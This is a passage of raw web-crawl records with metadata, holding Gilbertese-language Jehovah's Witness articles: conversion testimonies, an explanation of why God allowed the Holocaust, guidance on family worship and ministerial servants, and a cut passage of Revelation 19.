ikoakin teuaei, ao e bautia. Imwina, e karaoa niman John te ranibue ao e kakaraki ma ngaia ma te akoi ni maroroakina te Baibara.\nN te tai aei, e a moanna ni kerikaaki ana kairiribai John ibukia taani Kakoaua, ngaia are e a titirakina neiei baika uoua ake e kaokoro iai ana koaua ma tamana, bwa Iesu bon te Atua ke tiaki ao a riai Kristian n taromauria Maria ke a aki. Ngke e a ataia te tia Kakoaua aei ae kaain Gujarat John, e a kaekaa ana titiraki man te Baibara ao e anganna te boroutia ae \"This Good News of the Kingdom.\"\nImwina riki ngke e a wareka te boroutia aei John, ao ai aron ae e a tibwa ongora te koaua man te Baibara. E nako ni kawara ana tama ao e tabeki naba nakoina ana titiraki ake uoua. E waekoa n urarake unin te tama ao e karea John n te Baibara, ao e takarua ni kangai: \"Ko a riki bwa Tatan! Kaotia nakoiu bwa e taekinaki ia n te Baibara ae tiaki te Atua Iesu. Kaotia nakoiu bwa e taekinaki ia ae ko aki riai n taromauria Maria. Kaotia!\" E rangi n tounako John n aron te tama aei ao e taku nakoina, \"N na aki manga toua ana umwantabu te Aro ni Katorika.\" Ao e bon aki manga toua!\nE moana ana reirei n te Baibara John ma taani Kakoaua, e boutokaa te taromauri ae koaua, ao e a beku ibukin Iehova. Imwina riki, a karaoa naba anne tabeman kaain ana utu. E teimatoa naba ngkai ni mwaka tabonibain John are te atai are e mwakoro 60 te ririki n nako. E ururinga iai te mwakuri n akoi ni Kristian ae tii teuana are e a kairaki iai nakon te taromauri ae itiaki.—2Kor. 6:4, 6.","id":"","dump":"CC-MAIN-2018-09","url":"https:\/\/www.jw.org\/gil\/Bwaai-Aika-Kakaongora\/maekatin\/taua-n-tantani-reirei-okitobwa-2017\/te-mwakuri-n-akoi-ni-kristian-ae-tii-teuana\/","date":"2018-02-21T15:16:58Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2018-09\/segments\/1518891813626.7\/warc\/CC-MAIN-20180221143216-20180221163216-00786.warc.gz","language":"gil","language_score":1.0000100136,"language_script":"Latn","minhash_cluster_size":1,"top_langs":"{\"gil_Latn_score\": 1.0000100135803223}","num_words":465,"character_repetition_ratio":0.049,"word_repetition_ratio":0.0,"special_characters_ratio":0.225,"stopwords_ratio":0.439,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"A bati aika tabeki titiraki aikai ake a a tia n rangi ni karawawataaki imwini buaia aia utu ke aia bwai, ao a aki tii kan ataia bwa e aera ngkai e riki anne nakoia, ma a kani kabebeteaki naba. Iai ake a iangoa te Holocaust ae nanona karawawataaia aomata aika bati irouia Nazi, bwa e riki mani korakorani buakakaia aomata, ao e a kangaanga iai irouia bwa a na kakoauaa ae iai te Atua.\nIango aika kairua aika taabangaki ibukin te Atua ao te Holocaust\nTe Otokaraki: E bure bwa ko na titiraki bwa e aera te Atua ngkai e kariaia rikin te Holocaust.\nTe Koaua: A a tia naba n titiraki aomata ake a rangi n onimaki bwa e aera ngkai e kariaia te buakaka te Atua. N te katoto, e titirakina te Atua te burabeti ae Abakuka ni kangai: \"E aera ngkai ko kariaia te iowawa, riaoan te tua, te kakeru, ao te bangaomata bwa e na taabangaki?\" (Abakuka 1:3, Contemporary English Version) N oneani mwin are e na bwaurana Abakuka te Atua, e tua bwa a na koreaki ana titiraki teuaei n te Baibara bwa a aonga ni warekia aomata nako.\nTe Otokaraki: E aki tabe te Atua ma rawawataia aomata.\nTe Koaua: E ribaa te buakaka te Atua ao te rawawata are reke mai iai. (Taeka N Rabakau 6:16-19) N ana bong ngkoa Noa ao e \"rawawata nanon\" te Atua bukin taabangakin te iowawa n te aonnaba. (Karikani Bwaai 6:5, 6) Akea te nanououa bwa e boni korakora naba marakin te Atua n te Holocaust.—Maraki 3:6.\nTe Otokaraki: Te Holocaust boni katuuaaeaia I-Iutaia iroun te Atua.\nTe Koaua: E kariaia ngkoa te Atua bwa e na kamaunaaki Ierutarem irouia kaain Rom n te moan tienture. (Mataio 23:37–24:2) Ma man te tai anne ao e a aki manga kaokoroia te koraki n aomata teuana bwa a na akoaki ke a na katuuaaeaki. Iroun te Atua, \"bon akea te kaokoro i marenaia I-Iutaia ao Tientaire.\"—I-Rom 10:12, Good News Translation.\nTe Otokaraki: Ngke arona bwa iai te Atua ae tatangira ao ae te kabanea ni mwaaka, ao e na boni kaman tuka rikin te Holocaust.\nE aera te Atua ngke e kariaia rikin te Holocaust?\nE kariaia te Atua rikin te Holocaust i aani bukina are e kariaia naba iai ae a na rawawata aomata nako, bwa a aonga ni kaekaaki titiraki aika kakawaki ibukin te aroaro ae riai ake a tabekaki ngkoangkoa. E katerea te Baibara bwa n te tai moa aei ao tiaki te Atua ae tautaekana te aonnaba, ma bon te Riaboro. (Ruka 4:1, 2, 6; Ioane 12:31) E ngae ngke iai te kaongora ae irekereke ma te atu n rongorongo aei, ae kabwarabwaraa raoi bukini kariaiakan te rawawata iroun te Atua, ma iai koaua aika uoua man te Baibara aika kona n ibuobuoki ni kabwarabwaraa bukina ngkai e kariaia te Atua te Holocaust.\nAntai ae riai ni bukinaki n rikin te holocaust? E tuangia moan aomata te Atua ake Atam ma Ewa te bae e kariaa mairouia, ma e aki kairoroiia bwa a na ongeaba. A boni baireia bwa a na rineia bwa tera ae raoiroi ao ae buakaka ibukia, ao aia rinerine ae buakaka aei titeboo ma aia rinerine aomata mangkoa ni karokoa ngkai, ae e a karekea te karawawata nakoia aomata. (Karikani Bwaai 2:17; 3:6; I-Rom 5:12) E kangai te boki ae te Statement of Principles of Conservative Judaism: \"Angiini karawawata aika n te aonnaba aei boni mwin aki kabonganaan raoi te baere ti anganaki ae inaomatara n rinea ae ti na karaoia.\" N oneani mwin are e na taua inaomatara n rinea ae ti na karaoia te Atua, e a angania aomata inaomataia ni waakini maiuia n akea te kairiri mairouna.\nE boni kona te Atua ao e na boni kanakoraoa mwin te karawawataaki are riki n te Holocaust. E berita te Atua bwa e na kautiia aomata aika mirion ma mirion ao naake a mate naba n tain te Holocaust. E na kamauna naba te maraki are a rotaki iai naake a reke maiuia n tain te Holocaust ae kaineti ma baika bubuaka ake a ururingi n te tai anne. (Itaia 65:17; Mwakuri 24:15) E na boni kakoroi bukini berita aikai te Atua, ibukin tangiraia aomata irouna.—Ioane 3:16.\nA bati te koraki aika mate ao ake a reke maiuia n tain te Holocaust, ae a nang kona ngkanne ni kateimatoa aia onimaki ao n nora raoi kakawakin te maiu, n aroia n ota bwa e aera te Atua ngkai e kariaia te buakaka ao tera ana kantaninga ibukini manga kanakoraoani mwina.","id":"","dump":"CC-MAIN-2018-09","url":"https:\/\/www.jw.org\/gil\/baibara-reirei\/titiraki\/e-aera-ngkai-e-te-holocaust-riki\/","date":"2018-02-24T09:12:35Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2018-09\/segments\/1518891815500.61\/warc\/CC-MAIN-20180224073111-20180224093111-00452.warc.gz","language":"gil","language_score":1.0000100136,"language_script":"Latn","minhash_cluster_size":1,"top_langs":"{\"gil_Latn_score\": 1.0000100135803223}","num_words":744,"character_repetition_ratio":0.072,"word_repetition_ratio":0.0,"special_characters_ratio":0.231,"stopwords_ratio":0.44,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"E BUNGIAKI N: 1974\nABANA: GERMAN DEMOCRATIC REPUBLIC\nARONA RIMOA: E AKI KAKOAUAA TE ATUA\nAROU RIMOA\nI bungiaki n te kaawa ae Saxony, ae mena ngkoa i aan te German Democratic Republic (GDR). E kakukurei au utu, ao a reireinai au karo aroaro ni maiu aika riai. E kairaki i aan te Tautaeka ni Komuniti te GDR, ngaia are angia kaain Saxony, a aki tabe ma te Aro. Ao irou bon akea te Atua. Iai iango aika uoua ake a kairai mangke I uarereke n uaa 18 au ririki ae te iango ae akea te Atua, ao te waaki ni Komuniti.\nE aera ngkai I nano n te waaki ni Komuniti? Bwa I tangiria ae a na titeboo aomata nako. Ao I kakoauaa ae a riai n tibwaaki raoi bwaai ni kabane nakoia aomata bwa e aonga n toki te rangi ni kaubwai ao te rangi ni kainnano. Ngaia are I a kaaina te botaki ae te Communist youth. Ngke ai 14 au ririki ao I a buoka tararuaan te otabwanin, ni manga kabonganai beeba ake a a tia ni karenakoaki. A rangi ni kakaitau kaain te kaawa ae Aue n au kakorakora ngaia are a a karekea kaniwangau kaain te tautaeka. E ngae ngke I uarereke ma I a kinaia tabeman bwakuakun te GDR. I namakinna ae a eti baika I uaiakini ao N na boni kabwaia iai.\nMa e karina n riki te bitaki ae korakora ni maiuu. N 1989 ao e a bwaka te Berlin Wall, ao e bwaka naba te waaki ni Komuniti i Eurobe Mainiku. A bati bwaai aika kakubanako aika riki, teuana imwin teuana. I a noria bwa e a korakora te ribuaka n te GDR. N te katoto, a taraaki aomata ake a aki boutokaa te Komuniti bwa a mangori. E kangaa n reke anne? Tiaki a bane n tii te tikina aomata, iroura ngaira Komuniti? Tera uaan te waaki ni Komuniti? I a rangi n raraoma.\nNgaia are I a bitii baike I moanibwai ao ni kaatuua au iango i aon te katangitang ao te korotaamnei. Kioina ngke I reirei ngkoa n te kuura ni katangitang, ike I a reke iai nakon te kuura ae rietata, I a uaiakina te riki bwa te tia katangitang. I a kaaki naba taekan te aroaro ni maiu ae riai are I reiakinna n uarerekeu. E tii kakawaki irou ngkai kakukureiau, n ikotaki ma te iraorao ni karekenano ma aine aika bati. Ma e aki katoka raraomau te katangitang, te korotaamnei, ao te maiu ni kan inaomata. Au taamnei naba ake I kokorei a kaota te maaku ae korakora. Tera aron taai aika a na roko? Ao tera raoi te kantaninga ibukin te maiu aei?\nNgke I a kunei kaekaan au titiraki aikai ao I rangi ni mimi iai. N te tairiki teuana n te tabo n reirei, ao I a maroro ma ataein te reirei tabeman taekan taai aika a na roko. Temanna ataein te reirei ae arana Mandy, * bon Ana Tia Kakoaua Iehova. E kaota nakoiu neiei n te tairiki anne arou ni karekea te kaeka. E taku: \"Andreas, ngkana ko kan atai kaekaan am titiraki ibukin te maiu ao ibukin taai aika a na roko, wareka te Baibara.\"\nI aki bati ni kakoauaa, ma I motinnanoia bwa N na ukeri kaeka man te Baibara. E kairai Mandy nakon Taniera mwakoro 2, ao I rangi ni mimi ni baike I wareki. E kaotaki n te taetae ni burabeti aei tein taian tautaeka aika korakora n te aonnaba teuana imwin teuana, ake a rangi n rotii maiuia aomata ni karokoa ngkai. E kaotii naba nakoiu Mandy taetae ni burabeti tabeua aika irekereke ma arora n taai aika a na roko. Akanne raoi kaekaan au titiraki! Ma antai ae korei taetae ni burabeti aikai, ao antai ae e na kona n taekin raoi taai aika a na roko n te aro ae eti? Nanona bwa bon iai te Atua?\nARONI BITAKINI MAIUU MAN TE BAIBARA\nE kairai Mandy nakoia taanga aika Horst ma Angelika, ake a buokai riki n ota n Ana Taeka te Atua. I waekoa n noria bwa Ana Tia Kakoaua Iehova bon tii te Aro ae kakabongana ao n tataekina aran te Atua ae Iehova, nakoia aomata. (Taian Areru 83:18; Mataio 6:9) I reiakinna bwa Iehova ae te Atua e angania aomata te kantaninga ae te maiu n aki toki n te aonnaba ae te bwaretaiti. E kangai Taian Areru 37:9: \"Akana kabotoa aia kantaninga i aon Iehova a na abana te aonnaba.\" E anaaki nanou ngkai e uki te kantaninga aei nakoia aomata ni kabane ake a kataia ni maiuakin ana kaetieti te Atua ibukin te aroaro ni maiu, aika n te Baibara.\nMa e kangaanga irou kaboraoani maiuu ma te Baibara. I kainikatonga kioina ngke e nakoraoi au katangitang ao au korotaamnei, ngaia are I riai moa n reiakina te nanorinano. Ao e kangaanga naba katokan te wene ni bure. Ai kakaitaura ngai ngkai e taotaona nanona Iehova, e nanoanga, ao e butimwaeiia akana kabanea aia konaa ni maiuakina ana reirei te Baibara!\nE kairaki maiuu n te waaki ni Komuniti ao ni kakoauaan ae akea te Atua man uarerekeu n uaa 18 au ririki, ma e a bita maiuu te Baibara. E katoka raraomau te baere I reiakinna ibukin taai aika a na roko ao I a ataa te kantaninga ni maiuu. N 1993 ao I a bwabetitoaki bwa temanna Ana Tia Kakoaua Iehova, ao n 2000 I a mare ma Tabitha, ae te rao n te onimaki ae ingainga. Ti kabatiaa ara tai ni buokiia tabemwaang n ataa te Baibara. A bati ake ti boo ma ngaiia ae titeboo aroia ma ngai ngkoa, ae a kairaki naba maiuia n te waaki ni Komuniti ao ni kakoauaan ae akea te Atua. E rangi n rauaki nanou ngke I kaota nakoia aroia ni kinaa Iehova.\nAROU NI KAKABWAIAAKI\nNgke I moani bobotaki ma Ana Tia Kakoaua Iehova, ao a un au karo. Ma man te tai anne ao a a nora raoiroin te bobotaki ma taani Kakoaua n anuani maiuu. I kimwareirei bwa a a wareware ngkai n te Baibara ao ni kaakaei aia taromauri Ana Tia Kakoaua Iehova.\nE kakukurei tekatekara n taanga ngai ma Tabitha ibukina bwa ti kataia n irii raoi ana taeka n reirei te Baibara ibukia taanga ni mare. N te katoto, irakin ana reirei ni kairiri te Baibara ibukin te kakaonimaki n te mare, e kateimatoa korakoran ara reitaki ni mare.—Ebera 13:4.\nI a aki maaka te maiu aei ao n raraoma ibukin taai aika a na roko. I namakinna ae I a kaaina te utu ae katobibia te aonnaba ae rau ao e katiteuanaaki, ae kaainaki irouia taari n te onimaki. Akea te kakaokoroaki n te utu aei. Anne te bwai ae I boni kakoauaa ao I a kamani kani karekea ni maiuu.\n^ bar. 12 E bitaki te ara.","id":"","dump":"CC-MAIN-2018-09","url":"https:\/\/www.jw.org\/gil\/Bwaai-Aika-Kakaongora\/maekatin\/taua-n-tantani-na5-2017-tebetembwa\/irou-bon-akea-te-atua\/","date":"2018-02-20T02:57:53Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2018-09\/segments\/1518891812871.2\/warc\/CC-MAIN-20180220010854-20180220030854-00217.warc.gz","language":"gil","language_score":1.0000100136,"language_script":"Latn","minhash_cluster_size":1,"top_langs":"{\"gil_Latn_score\": 1.0000100135803223}","num_words":1133,"character_repetition_ratio":0.065,"word_repetition_ratio":0.005,"special_characters_ratio":0.226,"stopwords_ratio":0.45,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"E tangiriia utu ni kabane Iehova man taai ake rimoa ni karokoa ngkai bwa a na karekei aia tai ni bobotaki, a na kakorakoraa aia iraorao ma te Atua ao aia iraorao i marenaia naba. (Te Tua-Kaua 6:6, 7) Anne bukina ae a kamwaawa iai te tai teuana ni katoa wiki Ana Tia Kakoaua Iehova ibukin aia taromauri n utu, ni mamaroro n te aro ae rau i aoni baika irekereke ma aia iraorao ma te Atua ake a kaineti riki ma baike a kainnanoi. Ngkana ko maeka n tii ngkoe, ko kona naba ni kamanena te tai anne ni kaaniko ma te Atua rinanon te ukeuke n reirei n te Baibara i bon iroum n te kaongora ae ko rineia.\nBon te tai ni kaania riki Iehova. \"Kaania te Atua, ao ane e na kaaningkami.\" (Iakobo 4:8) Ti na rikirake ni kinaa riki Iehova ngkana ti reiakini aroarona ao ana mwakuri rinanon ana Taeka ae te Baibara. Aroni moanakin te taromauri n utu ae bebete, boni karekean tabeua te tai n uaia ni wareka te Baibara ni kabaibati, tao n irira te babaire ni katoa wiki ibukin te Botaki ae Maiura ao Ara Mwakuri ni Minita. E kona n tibwatibwaaki te mwakoro are e na warekaki i aoia kaain te utu, ao imwina a a bane ni maroroakin reireiaia mani kiibu akanne.\nBon te tai ni kaanira riki ma ara utu. E kakorakoraaki aia itoman i marenaia buu mwaane ma buu aine, ngkana a kaai n reiakina te Baibara n aia utu n ikotaki naba ma kaaro ma natiia. E riai n riki bwa te bong ae kakukurei ao n rau ao a ingainga iai kaain te utu ni katoa wiki. A kona kaaro n rinei reirei aika manena ake a na maroroakin ni kaineti ma aia ririki natiia, tao n rinei man Te Taua-n-Tantani ao te Awake! ke man ara atureti n te intanete ae jw.org. Kam kona ni maroroakina te kangaanga are a aitara ma ngaia natimi n te reirei ao aroia n tokanikai iai. E aera kam aki mataku n te JW Broadcasting (tv.jw.org) ao ni kaai ni maroroakinna imwina?. Kam kona naba ni kataneiai n anenei kuuna ake a na aneneaki ni bobotaki ao ni katauraoa te amwarake ma te moi imwin te taromauri n utu.\nA na bane ni buokaki kaain te utu n reiakina Ana Taeka te Atua ma te kukurei, ngkana a karekea te tai ae okoro ni katoa wiki ni botaki iai n taromauria Iehova, ao e na boni kabatiaa kakabwaiaan ami kakorakora.\nE aera ngkai ti kamwawaa ara tai ibukin te taromauri n utu?\nA na kangaa kaaro ni karika te bong aei bwa e na kakukurei nakoia kaain aia utu ni kabane?","id":"","dump":"CC-MAIN-2018-09","url":"https:\/\/www.jw.org\/gil\/Bwaai-Aika-Kakaongora\/booki\/nanon-Iehova\/ana-tia-kakoaua-iehova-taromauri-n-utu\/","date":"2018-02-25T22:25:31Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2018-09\/segments\/1518891817437.99\/warc\/CC-MAIN-20180225205820-20180225225820-00292.warc.gz","language":"gil","language_score":1.0000100136,"language_script":"Latn","minhash_cluster_size":1,"top_langs":"{\"gil_Latn_score\": 1.0000100135803223}","num_words":450,"character_repetition_ratio":0.065,"word_repetition_ratio":0.0,"special_characters_ratio":0.221,"stopwords_ratio":0.427,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"E BUNGIAKI N: 1971\nABANA: BURANTI\nARONA RIMOA: TE TIA IOWAWA, TE TIA WENE NI BURE, TE TIA KAMANENAI DRUGS\nAROU RIMOA:\nI maeka ma au karo ao mwaaneu ae karimoau n te kaawa ae Tellancourt, i meangmainikuni Buranti. Bon te I-Buranti tamau ao tinau bon te I-Itare. Ngke ai wanua au ririki ao ti a mwaing nakon te kaawa ae uarereke i Rom i aon Itare ae a maiu ni kainnano kaaina. E a moanna ni kangaanga aron te maiu ikai. A bon ununun naba au karo ibukini kangaangan te karekemwane.\nNgke ai 15 au ririki, e a kaungaai tinau bwa N na kitana te auti ao ni karekeia raoraou. Ngaia are I a kitana mwengau i nanon te tai ae maan riki. Ma I waekoa naba ni karekea au iraorao ae buakaka. N te bong teuana ao e kawarai te mwaane temanna ae taraa n akoi. E anganai taian drugs, I bon anai ibukina bwa I tangiria n taraa n ikawai. I a waekoa n riki bwa te tia kamanenai drugs ao te tia wene ni bure. E boni karaoaki naba te mwakuri n tangako nakoiu n taai aika bati. E aikoa kakawaki te maiu irou n te aro are I aki tabe iai ngkana tao N na maiu ke N na mate. I a namakina te maroaa. Ngke 16 au ririki, I a bakabureai n nima te matoatoa ao ni kiba nako nanon te nei. N tokina I a tong i nanon tenibong.\nI a moanna ni kakaitau ibukini maiu ma I a manga riki bwa te tia iowawa ao te tia kewe. I kona ni karaoi mwakuri ni wene ni bure ma aomata, ke I kakoroia n te drug n aia auti ao imwina I kimoai aia bwai aika kakawaki. I kammwakuraki n te kurubu n tiritiri teuana bwa N na kaboonakoi taian drugs i aon Itare. N angiin te tai I bon reke irouia bureitiman. Ai bon akea uaani maiu ao e a buretorou. Ma I bon ataia ae iai bukini maiu. I tataro nakon te Atua ni butiia bwa e na anganai tii teuana te ririki ae N na rau iai ao ni kukurei.\nE A BITA MAIU TE BAIBARA:\nNgke 24 au ririki ao I baireia bwa N na mwaing nako Engiran. E a bon ruanikai maiu n au mwakuri ae kaboonakoan taian drugs. Imwaini mwaingiu, I boni kawara tinau ao I kubanako n nora te mwaane ae Annunziato Lugarà ni maroroakina kanoan te Baibara nakoina. * I ataa taekana rimoa ae te tia iowawa, ngaia are I a maakua ao I a titirakinna bukin rokona. E karakini bitaki aika kakawaki ake e a tia ni karaoi bwa e aonga n riki bwa Ana Tia Kakoaua Iehova, ao e tuangai bwa N na berita nakoina ae N na maroro ma taani Kakoaua ngkana I roko i Engiran. I boni kariaia anne. Ma ngke I a roko ikanne, I a manga waekoa naba n okira maiu are rimoa.\nN te bong teuana, I a kaitiboo ma te tia Kakoaua are e angangania aomata maekatin aika te Taua n Tantani ao te Awake! ni kawain London ae a bati aomata iai. I a uringa au berita nakon Annunziato, ao I a butiia te tia Kakoaua anne bwa I kan reirei n te Baibara.\nI rangi ni mimi n te baere I reiakinna man te Baibara. N te katoto, e ringa nanou te kibu ae 1 Ioane 1:9, ae taekina ae kangai ibukin te Atua: \"Ngkana ti kaotii ara bure, ao e na kabwarai ao e na kaitiakira.\" E korakora anaakin nanou n te kibu anne ibukina bwa I namakinna ae e rangi ni baareka aroaroni maiu. I waekoa naba ngkekei n iririi bobotaki n aia Tabo n Taromauri Ana Tia Kakoaua Iehova. A boni kamaurai ma te akoi taani Kakoaua. I a kani kaaina aia ekaretia ae kaanga bon te utu teuana man noran aroia n itangitangiri ae te bwai are I a kamani kani karekea.\nE ngae ngke e aki rangi ni kangaanga irou katokani kamanenaan taian drugs ao kitanan aroaroni maiu ae kammaira, ma I namakinna bwa e kangaanga riki katamaroaan aroarou. I a ataia ae I riai ni karineia ao n nanoangaia aomata. Ni koauana, ae I bon teimatoa naba ni buakani aroarou tabeua aika buakaka. Ma man ana ibuobuoki Iehova, I a tia n rikirake iai. I boni bwabetitoaki n 1997 bwa Ana Tia Kakoaua Iehova onoua te namwakaina imwini moanakin au reirei n te Baibara.\nKAKABWAIAAU:\nImwini bwabetitoau, I a mare ma te ataeinnaine ae Barbara are e a tibwa riki naba bwa Ana tia Kakoaua Iehova. Ngke e nora korakorani bitakini maiu raoraou rimoa temanna, e a moana naba ana reirei n te Baibara. Imwin tabeua te tai, e a riki bwa te tia Kakoaua ao mwaanena naba. Ao e moana naba ana reirei n te Baibara tarin tibuu te unnaine are ai wanibwi tabun ana ririki ao e bwabetitoaki imwaini matena.\nI a beku ngkai bwa te unimwaane n te ekaretia n au aono, ao I a kaai n riki ma buu bwa taan uarongorongo aika ti kabwanina ara tai, ike ti a reireinia iai aomata n te Baibara, aika a kamanena te taetae n Itare i London. N tabetai, e bon rawawata nanou ibukini maiu are rimoa ma e korakora boutokaau irouni Barbara. Ao ngkai e a reke irou te maiu n utu ae mano raoi are I a kamani mataaiakinna, ao e a reke naba Tamau ae tatangira are I a kaman kani karekea. I boni butiia te Atua bwa e na anganai tii teuana te ririki ae N na rau iai ao ni kukurei, ma e a tia n anganai ae rangi ni bati riki!\nAo ngkai e a reke irou te maiu n utu ae mano raoi are I a kamani mataaiakinna, ao e a reke naba Tamau ae tatangira are I a kaman kani karekea\n^ bar. 10 Nora te kaongora ae \"E Bitii Maiuia Aomata te Baibara","id":"","dump":"CC-MAIN-2018-09","url":"https:\/\/www.jw.org\/gil\/Bwaai-Aika-Kakaongora\/maekatin\/te-taua-n-tantani-na1-2016-tianuare\/te-rau-ao-te-kukurei\/","date":"2018-02-19T20:52:36Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2018-09\/segments\/1518891812788.42\/warc\/CC-MAIN-20180219191343-20180219211343-00515.warc.gz","language":"gil","language_score":1.0000100136,"language_script":"Latn","minhash_cluster_size":1,"top_langs":"{\"gil_Latn_score\": 1.0000100135803223}","num_words":985,"character_repetition_ratio":0.053,"word_repetition_ratio":0.061,"special_characters_ratio":0.227,"stopwords_ratio":0.451,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"E kabwarabwaraaki n te Baibara kurubu aika uoua aika kaainaki irouia taari mwaane aika Kristian ake a anganaki mwiokoaia bwa \"mataniwi ao tabonibai n te ekaretia.\" (I-Biribi 1:1) N aron ae ataaki, a bati taari mwaane aika mwiokoaki ni mwakuri aikai n ekaretia ni kabane. Tera aia mwakuri tabonibai n te ekaretia ae ti kakabwaiaaki iai?\nA buokiia kaain te rabwata n unimwaane. Tabonibai n te ekaretia, boni mwaane aika korakora aia onimaki aika a ataei riki, a ikawai riki, a onimakinaki ao a mwakuri raoi. A karaoi mwioko aika kainnanoaki n te ekaretia ao te Tabo n Taromauri aika aki irekereke ma te angareirei ao kawakinan te nanai. Ibukin anne, a a reke iai aia tai unimwaane ni kaatuui riki aia iango i aoni mwiokoaia ae te angareirei ao kawakinan te nanai.\nA karaoi mwakuri aika manena. A mwiokoaki tabeman tabonibai n te ekaretia bwa a na ibuobuoki ni butimwaeia aomata nako aika a kaei bobotaki. A mwiokoaki ake tabeman riki n te bwai n taetae ao te katangitang, tibwatibwaani booki, ana akaunti te ekaretia, ao bairean taabo n uarongorongo ibukia kaain te ekaretia. A buoka naba kateimatoaan tamaroan te Tabo n Taromauri. A kona naba n tuangaki irouia unimwaane bwa a na buokiia kaara. A kukurei tabonibai n te ekaretia ni karaoi mwakuri aika a mwiokoaki iai ao a kamoamoaaki irouia kaain te ekaretia ibukin aia mwakuri korakora ao nanoia ni kan anga.\nA katea te katoto ae raoiroi n aroia mwaane aika Kristian. A rineaki taari mwaane bwa tabonibai n te ekaretia ibukina bwa a maiuakina te aroaro ni Kristian. A kakorakoraaki ara onimaki ngkana a kabwarabwara, a kairi maroro, ao ni karaoi reirei ni bobotaki. A karikirakea ingaingan nanora n aia katoto n te mwakuri n uarongorongo. A karikirakea naba te kimwareirei ao te katiteuanaaki n aroia n aantaeka nakon te rabwata n unimwaane. (I-Ebeto 4:16) Imwin tabeua te tai, a kona naba n tau ni beku bwa unimwaane.\nTera aroaroia mwaane aika tabonibai n te ekaretia?\nA na kangaa tabonibai n te ekaretia ni buoka butiraoin te ekaretia?","id":"","dump":"CC-MAIN-2018-09","url":"https:\/\/www.jw.org\/gil\/Bwaai-Aika-Kakaongora\/booki\/nanon-Iehova\/tabonibai-n-te-ekaretia\/","date":"2018-02-25T22:30:36Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2018-09\/segments\/1518891817437.99\/warc\/CC-MAIN-20180225205820-20180225225820-00202.warc.gz","language":"gil","language_score":1.0000100136,"language_script":"Latn","minhash_cluster_size":1,"top_langs":"{\"gil_Latn_score\": 1.0000100135803223}","num_words":341,"character_repetition_ratio":0.117,"word_repetition_ratio":0.0,"special_characters_ratio":0.196,"stopwords_ratio":0.425,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"19 Imwin aei ao I ongo te bwai ae kaanga te bwanaa ae korakora ae bwanaaia te koraki aika mwaitikurikuri i karawa. A taku: \"Kam na karaoiroa Iah!*+ Ana bwai Atuara te kamaiu ma te neboaki ma te mwaaka, 2 ibukina bwa a koaua ana motikitaeka ao a raraoi.+ Bwa e a tia ni karekea kain te kabekaau are kakannato are kamwaraea te aonnaba n ana wene ni bure,* ao e a irantangai raraaia ana toro aika mena i bain neiei.\"*+ 3 Ao a a manga kangai ngkekei naba n te kauatai: \"Kam na karaoiroa Iah!*+ Ao e aetorake bubuni buen neiei n aki totoki.\"+ 4 Ao a katorobubua ni bobaraaki unimwaane ake 24+ ma baike a maiu ake aman,+ n taromauria te Atua are tekateka i aon te kaintokanuea, ao a taku: \"Amen! Kam na karaoiroa Iah!\"*+ 5 Ao e otinako naba te bwanaa man te kaintokanuea ae kangai: \"Karaoiroa Atuara, ngkami ni kabane aika ana toro+ aika kam maakua, aika mangori ma aika kakannato.\"+ 6 Ao I ongo te bwai ae kaanga te bwanaa ae bwanaaia te koraki aika mwaitikurikuri i karawa ae kaanga karongoaan raan aika bati, ao kaanga rebwerebwen te baa ae rangi ni korakora. A taku: \"Kam na karaoiroa Iah,*+ ibukina bwa e a moana tautaekana bwa te uea,+ Iehova* ae Atuara ae Moan te Mwaaka!+ 7 Ti na kimwareirei ao ti na kakatonga, ao ti na anganna neboana, ibukina bwa e a roko ana tai ni mare te Tiibutetei ao e a tauraoi neiere buuna nakon te mare. 8 Eng, e kariaiakaki neiei bwa e na kunnikainna n te rinen ae raoiroi ae raneanea ae itiaki, bwa e tei te rinen ae raoiroi ibukin aia mwakuri aika raraoi te koraki aika itiaki.\"*+ 9 Ao e taku nakoiu, \"Korea ae kangai: A a kukurei akana kaoaki nakon te baka n amwarake ibukin ana mare te Tiibutetei.\"+ Ao e taku naba nakoiu: \"A boni koaua ana taeka te Atua aikai.\" 10 Ao I katorobubua ni bobaraaki i waena bwa N na taromauria. Ma e taku nakoiu: \"Taratara raoi! Tai karaoa anne!+ Bon te toro naba ngai n ai arom ao n ai aroia tarim ake a mwiokoaki n te mwakuri ni kaotiota taekan Iesu.+ Taromauria te Atua!+ Bwa e kauekea te taetae ni burabeti kaotiotan taekan Iesu.\"+ 11 Ao I nora karawa bwa e uki, ao akea bwa I a nora te aoti ae mainaina.+ Ao aran teuare toka i aona, Kakaonimaki+ ao Koaua,+ ao e momotikitaeka ma ni buaka n te raoiroi.+ 12 A takarokaro matana n ai aron te ai,+ ao iai baunuea aika bati i aon atuna. Iai arana ae koreaki ae akea temanna ae ataia ma bon tii ngaia, 13 ao e kunnikainna n te kauaatao ae memea* n te raraa, ao e aranaki bwa Ana Taeka+ te Atua. 14 Ao e rimwiaki irouia te taanga ni buaka ake i karawa aika toka i aoia aoti aika mainaina, ao a kunnikaiaki n te rinen ae raoiroi ae mainaina ae itiaki. 15 Ao e otinako mai wina te kabaang ae abwabwaki ae kakang,+ ae e na oreiia iai natannaomata, ao e na kaiririia n aron te tia kawakintiibu ae iai okona ae te biti.+ E toutoua naba te nne ni kamanti kureebe are nnen te un are unin te Atua ae Moan te Mwaaka.+ 16 Ao iai arana ae koreaki i aon ana kauaatao, eng, i aoni boton rangana, ae aia Uea ueea ao aia Toka tooka.+ 17 Ao I nora te anera riki temanna ae tei n taai, ao e takarua n te bwanaa ae korakora ao e taku nakoia mannikiba ni kabane aika kibakiba i nukani karawa:* \"Banemai ikotaki nakon ana baka n amwarake te 